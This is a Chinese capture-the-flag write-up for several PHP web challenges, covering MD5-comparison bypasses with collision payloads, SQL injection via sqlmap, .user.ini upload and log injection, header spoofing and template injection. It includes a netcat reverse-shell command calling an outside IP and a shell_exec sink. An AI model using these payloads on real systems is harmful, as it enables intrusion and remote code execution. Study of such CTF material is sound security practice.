ez_md5
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if (!($a!==$b && md5($a)===md5($b))){
die('回家吧孩子');
}
$c=(string)$_POST['c'];
$d=(string)$_POST['d'];
if (!($c!==$d && md5($c)==md5($d))){
die('稍微加点料');
}
$love=(string)$_POST['love'];
$ctf=(string)$_POST['ctf'];
if ($love!==$ctf && md5($love)===md5($ctf)){
echo '都写到这里了,自己去拿flag吧';
shell_exec($_POST['shell']);
}
GET:?a[]=1&b[]=2
POST:c=QNKCDZO&d=QLTHNDT
string强制转换参数类型为字符串
所以下面的强比较不能用数组绕过,这里考虑哈希碰撞
md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
hackbar不能接受这么长的payload,用bp
这里是shell_exec无回显
1.弹shell
shell=nc 1.95.38.189 2333 -e /bin/sh
nc -lvvp 2333
2.文件重定向
shell=cat /f*>1.txt
访问
ez_upload
发现很多被过滤,尝试其他方法,随便上传图片,后面给了一个路径,经测试是sql注入
http://43.139.51.42:38241/backend/image.php?name=
直接sqlmap即可
我们一起来下棋吧
就在源代码
新人来爆照
文件上传,可以发现是nginx服务,排除掉.htaccess的写法
这里测试.user.ini可以
1.日志注入
.user.ini还可以直接包含日志
先访问路径,随便弄个头,加入木马即可
2..user.ini包含本身
每日任务
任务一:
要点
不是GET的包——POST发包
本地IP——X-Forwarded-For
使用GZCTFBrowser浏览器——User-Agent
from hxctf.challenge.game指定请求来源网页——Referer
任务二:
确少HTTP_LOVE_CTF请求头,还要求相等于TRUE
在PHP中,当处理HTTP请求头时,服务器会将头名称转换为特定格式:去除连字符-
,添加HTTP_
前缀,并转为全大写。例如请求头Love-CTF: TRUE
会被转换为$_SERVER['HTTP_LOVE_CTF'] = 'TRUE'
。
love-ctf: TRUE
任务三:
2024e1过第一个变为整数2024,过第二个变为20240+1
2024e1
任务四:
php特性中的命名规则,由于变量名中不能有.号,会强制转换成_,这里可以利用[,如果参数中出现了[,那么会将其转化为_,但是会出现转化错误,导致后面的参数名中,如果还有.号,那么将不会被转化
play[the_ctf.web=1
任务五:
?ma=1&gic[]=1
表白墙
没什么好说的,fenjing就行
Comments NOTHING